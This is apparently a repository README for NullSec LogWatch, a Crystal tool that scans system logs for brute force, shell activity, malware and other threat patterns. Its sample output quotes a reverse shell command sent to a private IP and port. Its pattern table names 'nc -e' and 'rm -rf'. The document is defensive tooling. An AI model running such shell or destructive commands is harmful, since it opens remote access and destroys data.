📋 NullSec LogWatch

Security Log Analyzer

Ruby-like elegance with static type safety

Features • Installation • Usage • Patterns

🎯 Overview

NullSec LogWatch is a security log analyzer written in Crystal. It scans log files for suspicious patterns including authentication failures, brute force attacks, malware indicators, and system anomalies.

✨ Features

📋 Log Analysis - Parse and analyze security logs
🔍 Pattern Matching - 20+ threat patterns
🎯 Severity Classification - Critical/High/Medium/Low
📊 Statistics - Summary of findings
📤 JSON Export - Machine-readable output

🛡️ Security Features

┌─────────────────────────────────────────────┐
│        NullSec LogWatch v2.0.0             │
├─────────────────────────────────────────────┤
│  ✓ Strong Static Typing                    │
│  ✓ Null Safety (Nil unions)                │
│  ✓ Bounds-checked Arrays                   │
│  ✓ Memory Safety via GC                    │
│  ✓ Immutable Strings                       │
│  ✓ Result Types for Errors                 │
└─────────────────────────────────────────────┘

📦 Installation

# Clone the repository
git clone https://github.com/bad-antics/nullsec-logwatch.git
cd nullsec-logwatch

# Build with Crystal
shards build --release

# Or compile directly
crystal build --release -o nullsec-logwatch logwatch.cr

Requirements

Crystal 1.0 or later

🚀 Usage

# Analyze a log file
./nullsec-logwatch /var/log/auth.log

# Show all findings
./nullsec-logwatch --all /var/log/syslog

# JSON output
./nullsec-logwatch --json /var/log/messages

# Show help
./nullsec-logwatch --help

📊 Output Example

██╗      ██████╗  ██████╗ ██╗    ██╗ █████╗ ████████╗ ██████╗██╗  ██╗
██║     ██╔═══██╗██╔════╝ ██║    ██║██╔══██╗╚══██╔══╝██╔════╝██║  ██║
██║     ██║   ██║██║  ███╗██║ █╗ ██║███████║   ██║   ██║     ███████║
██║     ██║   ██║██║   ██║██║███╗██║██╔══██║   ██║   ██║     ██╔══██║
███████╗╚██████╔╝╚██████╔╝╚███╔███╔╝██║  ██║   ██║   ╚██████╗██║  ██║
╚══════╝ ╚═════╝  ╚═════╝  ╚══╝╚══╝ ╚═╝  ╚═╝   ╚═╝    ╚═════╝╚═╝  ╚═╝
               bad-antics • Security Log Analyzer

[*] Analyzing: /var/log/auth.log

[*] Analysis Statistics
  Total Findings:  47
  Critical:        3
  High:            12
  Medium:          18
  Low:             14

[*] Security Findings
  [Critical] Line 1847: Brute Force
    Jan 22 14:32:15 - repeated login failures from 192.168.1.100...

  [Critical] Line 2103: Shell Activity
    Jan 22 15:45:22 - bash -i >& /dev/tcp/10.0.0.5/4444...

  [High] Line 892: Auth Failure
    Jan 22 10:15:33 - Failed password for invalid user admin...

[✗] Critical security events detected!

🔍 Detection Patterns

Category	Severity	Patterns
Brute Force	Critical	Repeated failures, account lockout
Shell Activity	Critical	Reverse shell, bind shell, nc -e
Malware	Critical	Cryptominer, ransomware, backdoor
Auth Failure	High	Failed password, invalid user
Port Scan	High	nmap, masscan indicators
System Crash	High	Kernel panic, segfault
Privilege Change	Medium	sudo, su, setuid
File Deletion	Medium	rm -rf, shred

📜 License

NullSec Proprietary License

👤 Author

bad-antics

Part of the NullSec Security Framework

Repository

nullsec-logwatch

Owner

bad-antics

Statistic

0
0
0
0
0
about 17 hours ago
January 22, 2026

License

Links

Synced at

Thu, 22 Jan 2026 16:59:11 GMT

Languages

Crystal 100.0%

nullsec-logwatch v1.0.0